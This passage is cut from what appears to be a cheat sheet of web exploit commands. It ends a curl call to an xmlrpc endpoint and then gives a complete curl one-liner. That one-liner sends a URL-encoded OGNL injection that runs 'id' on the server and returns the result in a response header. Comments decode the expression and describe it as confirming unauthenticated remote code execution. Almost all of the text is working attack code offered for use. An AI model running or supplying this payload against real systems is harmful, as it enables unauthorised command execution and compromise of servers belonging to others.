" "https://target.com/webtools/control/xmlrpc"

# Detection + RCE — command output returned in the X-Cmd-Response header (one request)
curl -sk -D - -o /dev/null "https://target.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
# Decoded namespace: ${(#a=@org.apache.commons.io.IOUtils@toString(
#   @java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).
#   (@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
# A populated X-Cmd-Response header in the reply = confirmed unauthenticated RCE.